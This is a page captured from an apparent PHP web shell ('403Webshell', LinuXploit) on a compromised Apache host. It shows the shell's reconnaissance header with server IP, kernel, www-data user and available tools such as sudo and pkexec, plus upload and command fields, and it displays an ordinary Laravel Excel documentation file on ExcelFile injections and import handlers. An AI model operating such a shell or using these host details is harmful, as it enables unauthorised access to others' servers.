403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/maatwebsite/excel/docs/import/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/maatwebsite/excel/docs/import/injection.md
# ExcelFile injections

Following the Laravel 5.0 philosophy with its new awesome FormRequest injections, we introduce you ExcelFile injections.

## ExcelFile class

This class is a wrapper for a file on your server. Inside the `getFile()` method you return the filename and it's location. Inside the `getFilters()` method you can enable filters, like the chunk filter.

    class UserListImport extends \Maatwebsite\Excel\Files\ExcelFile {

        public function getFile()
        {
            return storage_path('exports') . '/file.csv';
        }

        public function getFilters()
        {
            return [
                'chunk'
            ];
        }

    }

If you want to have the `getFile()` dynamic based on user's input, you can easily do:

    public function getFile()
    {
        // Import a user provided file
        $file = Input::file('report');
        $filename = $this->doSomethingLikeUpload($file);

        // Return it's location
        return $filename;
    }

## Usage

You can inject these ExcelFiles inside the __constructor or inside the method (when using Laravel 5.0), in e.g. the controller.

    class ExampleController extends Controller {

        public function importUserList(UserListImport $import)
        {
            // get the results
            $results = $import->get();
        }

    }

## CSV Settings

You can pass through optional CSV settings, like `$delimiter`, `$enclosure` and `$lineEnding` as protected properties of the class.

    class UserListImport extends \Maatwebsite\Excel\Files\ExcelFile {

        protected $delimiter  = ',';
        protected $enclosure  = '"';
        protected $lineEnding = '\r\n';

    }

## Import Handlers

To decouple your Excel-import code completely from the controller, you can use the import handlers.

    class ExampleController extends Controller {

        public function importUserList(UserListImport $import)
        {
            // Handle the import
            $import->handleImport();
        }

    }

The `handleImport()` method will dynamically call a handler class which is your class name appended with `Handler`

    class UserListImportHandler implements \Maatwebsite\Excel\Files\ImportHandler {

        public function handle(UserListImport $import)
        {
            // get the results
            $results = $import->get();
        }

    }

Youez - 2016 - github.com/yon3zu
LinuXploit